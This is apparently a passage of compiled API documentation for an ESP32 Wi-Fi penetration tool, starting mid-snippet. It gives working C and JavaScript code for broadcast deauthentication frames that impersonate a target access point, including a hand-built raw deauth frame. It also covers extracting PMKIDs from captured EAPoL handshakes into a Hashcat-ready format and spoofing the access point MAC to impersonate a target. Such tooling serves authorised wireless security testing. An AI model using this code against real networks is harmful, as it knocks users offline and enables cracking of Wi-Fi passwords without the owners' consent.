#include "wifi_controller.h" // Send a broadcast deauth frame impersonating the target AP: const wifi_ap_record_t *target = wifictl_get_ap_record(0); wsl_bypasser_send_deauth_frame(target); // Builds 802.11 deauth frame: DA=ff:ff:ff:ff:ff:ff, SA=target->bssid, BSSID=target->bssid // Reason code: 2 (Previous authentication no longer valid) // Sent via esp_wifi_80211_tx() using the bypass mechanism // Send an arbitrary raw 802.11 frame: uint8_t raw_frame[] = { 0xC0, 0x00, // Frame Control: deauth 0x00, 0x00, // Duration 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // DA: broadcast 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, // SA: spoofed AP 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, // BSSID 0x00, 0x00, // Sequence Control 0x02, 0x00 // Reason Code: 2 }; wsl_bypasser_send_raw_frame(raw_frame, sizeof(raw_frame)); ``` ``` -------------------------------- ### Convert Uint8 to Hex String Source: https://github.com/risinek/esp32-wifi-penetration-tool/blob/master/components/webserver/utils/index.html A utility function to convert a single Uint8 value into a two-digit hexadecimal string, padding with a leading zero if necessary. ```javascript function uint8ToHex(uint8){ return ("00" + uint8.toString(16)).slice(-2); } ``` -------------------------------- ### Parse EAPoL and PMKID from Raw Frames Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Parse raw 802.11 frames to extract EAPoL packets, EAPoL-Key sub-packets, and PMKIDs. This function checks if the frame's BSSID matches the target and handles encrypted frames by returning NULL. ```c #include "frame_analyzer_parser.h" #include "frame_analyzer_types.h" // Given a raw promiscuous data frame: void handle_raw_frame(wifi_promiscuous_pkt_t *pkt) { // Check if BSSID matches target: uint8_t target_bssid[6] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF}; if (!is_frame_bssid_matching(pkt, target_bssid)) return; data_frame_t *frame = (data_frame_t *)pkt->payload; // Try to parse EAPoL packet (returns NULL if not EAPoL or frame is encrypted): eapol_packet_t *eapol = parse_eapol_packet(frame); if (eapol == NULL) return; // Try to extract EAPoL-Key sub-packet: eapol_key_packet_t *eapol_key = parse_eapol_key_packet(eapol); if (eapol_key == NULL) return; // Try to extract PMKID(s) from EAPoL-Key data fields: pmkid_item_t *pmkid_list = parse_pmkid(eapol_key); if (pmkid_list != NULL) { pmkid_item_t *item = pmkid_list; do { ESP_LOGI("parser", "PMKID: %02x%02x...%02x", item->pmkid[0], item->pmkid[1], item->pmkid[15]); pmkid_item_t *next = item->next; free(item); item = next; } while (item != NULL); } } ``` -------------------------------- ### Process PMKID Attack Results Source: https://github.com/risinek/esp32-wifi-penetration-tool/blob/master/components/webserver/utils/index.html Parses and displays the results of a PMKID attack. It extracts MAC addresses, SSID, and PMKID values, formatting them for display and for use with tools like Hashcat. ```javascript function resultPmkid(attack_content, attack_content_size){ var mac_ap = ""; var mac_sta = ""; var ssid = ""; var ssid_text = ""; var pmkid = ""; var index = 0; for(let i = 0; i < 6; i = i + 1) { mac_ap += uint8ToHex(attack_content[index + i]); } index = index + 6; for(let i = 0; i < 6; i = i + 1) { mac_sta += uint8ToHex(attack_content[index + i]); } index = index + 6; for(let i = 0; i < attack_content[index]; i = i + 1) { ssid += uint8ToHex(attack_content[index + 1 + i]); ssid_text += String.fromCharCode(attack_content[index + 1 + i]); } index = index + attack_content[index] + 1; var pmkid_cnt = 0; for(let i = 0; i < attack_content_size - index; i = i + 1) { if((i % 16) == 0){ pmkid += "
"; pmkid += "PMKID #" + pmkid_cnt + ": "; pmkid_cnt += 1; } pmkid += uint8ToHex(attack_content[index + i]); } document.getElementById("result-content").innerHTML = ""; document.getElementById("result-content").innerHTML += "MAC AP: " + mac_ap + "
"; document.getElementById("result-content").innerHTML += "MAC STA: " + mac_sta + "
"; document.getElementById("result-content").innerHTML += "(E)SSID: " + ssid + " (" + ssid_text + ")"; document.getElementById("result-content").innerHTML += "" + pmkid + "
"; document.getElementById("result-content").innerHTML += "
Hashcat ready format:" document.getElementById("result-content").innerHTML += "" + pmkid + "*" + mac_ap + "*" + mac_sta + "*" + ssid + "
"; } ``` -------------------------------- ### MAC Address Spoofing Functions Source: https://context7.com/risinek/esp32-wifi-penetration-tool/llms.txt Functions for manipulating the AP interface MAC address. ```APIDOC ## `wifictl_set_ap_mac` / `wifictl_get_ap_mac` / `wifictl_restore_ap_mac` — MAC Address Spoofing Sets the AP interface MAC to any valid 6-byte address (used by the rogue AP deauth method to impersonate a target). The original MAC captured at initialization is restored by `wifictl_restore_ap_mac`. ### Description Allows modification of the ESP32's AP interface MAC address for impersonation purposes and provides a way to restore the original MAC address. ### Functions - `wifictl_set_ap_mac(const uint8_t *mac)`: Sets the AP interface MAC address to the provided 6-byte array. - `wifictl_get_ap_mac(uint8_t *mac)`: Retrieves the current AP interface MAC address into the provided 6-byte array. - `wifictl_restore_ap_mac()`: Restores the AP interface MAC address to its original factory default. - `wifictl_set_channel(int channel)`: Changes the operating Wi-Fi channel (1–13). ### Example Usage ```c #include "wifi_controller.h" // Spoof the AP MAC to match a target BSSID (from a scanned ap_record): const wifi_ap_record_t *target = wifictl_get_ap_record(0); wifictl_set_ap_mac(target->bssid); // esp_wifi_set_mac(WIFI_IF_AP, target->bssid) // Read current AP MAC: uint8_t current_mac[6]; wifictl_get_ap_mac(current_mac); ESP_LOGI("mac", "Current AP MAC: %02x:%02x:%02x:%02x:%02x:%02x", current_mac[0], current_mac[1], current_mac[2], current_mac[3], current_mac[4], current_mac[5]); // Restore the original factory MAC: wifictl_restore_ap_mac(); // Change the operating channel (1–13): wifictl_set_channel(11); ``` ```